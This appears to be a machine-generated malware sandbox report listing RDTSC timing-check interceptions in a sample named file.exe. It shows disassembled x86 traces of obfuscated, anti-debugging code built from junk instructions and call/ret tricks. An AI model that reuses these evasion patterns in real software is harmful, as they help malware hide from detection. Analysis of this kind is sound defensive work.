Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFD14 second address: FFFD6A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FB474E5AC22h 0x0000000f jmp 00007FB474E5AC1Ch 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FB474E5AC18h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 adc edi, 0A760FCFh 0x00000037 push 624CF9FDh 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jc 00007FB474E5AC16h 0x00000045 push ebx 0x00000046 pop ebx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFD6A second address: FFFE01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB474DDA571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 624CF97Dh 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FB474DDA568h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov esi, 40E4ABE6h 0x0000002f mov ch, dh 0x00000031 push 00000003h 0x00000033 mov dword ptr [ebp+122D27E9h], edx 0x00000039 sub dword ptr [ebp+122D2911h], ecx 0x0000003f push 00000000h 0x00000041 sbb di, D5C8h 0x00000046 push 00000003h 0x00000048 push 00000000h 0x0000004a push ecx 0x0000004b call 00007FB474DDA568h 0x00000050 pop ecx 0x00000051 mov dword ptr [esp+04h], ecx 0x00000055 add dword ptr [esp+04h], 00000017h 0x0000005d inc ecx 0x0000005e push ecx 0x0000005f ret 0x00000060 pop ecx 0x00000061 ret 0x00000062 sub dword ptr [ebp+122D35BFh], esi 0x00000068 call 00007FB474DDA569h 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 jp 00007FB474DDA566h 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFE01 second address: FFFE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFE06 second address: FFFE64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB474DDA575h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB474DDA572h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push edx 0x00000014 jl 00007FB474DDA579h 0x0000001a jmp 00007FB474DDA573h 0x0000001f pop edx 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FB474DDA56Fh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFE64 second address: FFFEE2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB474E5AC18h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007FB474E5AC1Bh 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FB474E5AC18h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 sbb esi, 5CD871CDh 0x00000036 mov cx, 6E2Bh 0x0000003a lea ebx, dword ptr [ebp+124458CBh] 0x00000040 call 00007FB474E5AC1Fh 0x00000045 mov di, bx 0x00000048 pop ecx 0x00000049 xchg eax, ebx 0x0000004a jp 00007FB474E5AC24h 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 jmp 00007FB474E5AC1Ah 0x00000058 popad 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFEE2 second address: FFFEE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFEE8 second address: FFFEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021093 second address: 10210E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB474DDA56Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007FB474DDA574h 0x00000012 pop ebx 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FB474DDA572h 0x0000001a jmp 00007FB474DDA56Eh 0x0000001f jo 00007FB474DDA572h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10210E9 second address: 10210EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EF4E second address: 101EF59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FB474DDA566h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EF59 second address: 101EF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB474E5AC1Ch 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 jmp 00007FB474E5AC28h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EF8F second address: 101EF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F0DF second address: 101F0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F0EA second address: 101F10F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB474DDA578h 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F3DD second address: 101F3E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F528 second address: 101F561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB474DDA576h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB474DDA577h 0x00000010 jo 00007FB474DDA566h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F6CA second address: 101F6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FC2C second address: 101FC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FC33 second address: 101FC42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB474E5AC1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020020 second address: 1020026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020026 second address: 102004A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB474E5AC25h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FB474E5AC16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102004A second address: 102004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102004E second address: 102006C instructions: 0x00000000 rdtsc 0x00000002 je 00007FB474E5AC16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 js 00007FB474E5AC16h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102006C second address: 10200B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB474DDA573h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB474DDA570h 0x0000000f jmp 00007FB474DDA574h 0x00000014 jng 00007FB474DDA566h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8532 second address: FF854C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB474E5AC16h 0x00000008 js 00007FB474E5AC16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jnp 00007FB474E5AC16h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10207F6 second address: 10207FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10207FA second address: 102080A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102080A second address: 1020810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020810 second address: 1020814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102098D second address: 10209B1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB474DDA57Bh 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020C34 second address: 1020C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB474E5AC29h 0x0000000a popad 0x0000000b push ebx 0x0000000c jng 00007FB474E5AC1Ah 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6A1C second address: FF6A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6A22 second address: FF6A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B43F second address: 102B443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B443 second address: 102B478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB474E5AC23h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FB474E5AC18h 0x00000011 pushad 0x00000012 jp 00007FB474E5AC16h 0x00000018 jnl 00007FB474E5AC16h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B76E second address: 102B774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BBB6 second address: 102BBC5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB474E5AC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BBC5 second address: 102BBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BBCE second address: 102BBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BBD2 second address: 102BBD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BE88 second address: 102BE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB474E5AC1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BE98 second address: 102BEB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jnl 00007FB474DDA584h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007FB474DDA566h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DC0F second address: 102DC2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB474E5AC1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007FB474E5AC20h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DCD7 second address: 102DCDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DCDD second address: 102DCE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DCE1 second address: 102DD2D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB474DDA566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 7F97B806h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FB474DDA568h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d push ebx 0x0000002e or esi, dword ptr [ebp+122D37A9h] 0x00000034 pop esi 0x00000035 push 8D93DBFEh 0x0000003a jg 00007FB474DDA570h 0x00000040 pushad 0x00000041 push edi 0x00000042 pop edi 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E801 second address: 102E805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E805 second address: 102E80B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E80B second address: 102E844 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB474E5AC29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FB474E5AC25h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E9E0 second address: 102E9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EAE9 second address: 102EAEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EE56 second address: 102EE5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F3C8 second address: 102F3CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030E7F second address: 1030E8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB474DDA56Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10306A2 second address: 10306AC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB474E5AC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030E8D second address: 1030E92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030E92 second address: 1030F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push ecx 0x0000000d mov dword ptr [ebp+1244D83Bh], eax 0x00000013 pop edi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FB474E5AC18h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 js 00007FB474E5AC16h 0x00000036 sub esi, dword ptr [ebp+122D3829h] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edi 0x00000041 call 00007FB474E5AC18h 0x00000046 pop edi 0x00000047 mov dword ptr [esp+04h], edi 0x0000004b add dword ptr [esp+04h], 00000016h 0x00000053 inc edi 0x00000054 push edi 0x00000055 ret 0x00000056 pop edi 0x00000057 ret 0x00000058 mov dword ptr [ebp+122D186Dh], edx 0x0000005e jnp 00007FB474E5AC2Ch 0x00000064 xchg eax, ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 push esi 0x00000068 push eax 0x00000069 pop eax 0x0000006a pop esi 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030F1E second address: 1030F35 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4752141B8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007FB4752141C0h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031932 second address: 10319BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FB47526A2E8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D3929h] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FB47526A2E8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+122D3825h] 0x0000004b jmp 00007FB47526A2EDh 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D1D60h], ecx 0x00000058 movzx edi, bx 0x0000005b xchg eax, ebx 0x0000005c jmp 00007FB47526A2F5h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 push ecx 0x00000067 pop ecx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10319BF second address: 10319C9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB4752141B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10323C4 second address: 10323F4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB47526A2E8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D387Dh] 0x00000015 push 00000000h 0x00000017 mov si, 58BAh 0x0000001b push 00000000h 0x0000001d stc 0x0000001e mov edi, 5A1CF643h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 jng 00007FB47526A2E6h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10323F4 second address: 10323FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB4752141B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103218A second address: 1032194 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB47526A2E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10323FE second address: 1032402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032E0F second address: 1032E15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032E15 second address: 1032E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FB4752141B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032E1F second address: 1032E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a je 00007FB47526A2ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033823 second address: 1033828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033828 second address: 103383D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB47526A2F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103383D second address: 10338BD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB4752141B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FB4752141B8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jo 00007FB4752141BCh 0x0000002d mov dword ptr [ebp+122D2EB5h], edx 0x00000033 xor esi, 0669E827h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007FB4752141B8h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 cld 0x00000056 jmp 00007FB4752141BFh 0x0000005b push 00000000h 0x0000005d mov edi, dword ptr [ebp+122D2175h] 0x00000063 xchg eax, ebx 0x00000064 jl 00007FB4752141D2h 0x0000006a push eax 0x0000006b push edx 0x0000006c push edi 0x0000006d pop edi 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10338BD second address: 10338E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47526A2F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10338E1 second address: 10338E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036E1D second address: 1036E23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036E23 second address: 1036E2D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB4752141BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
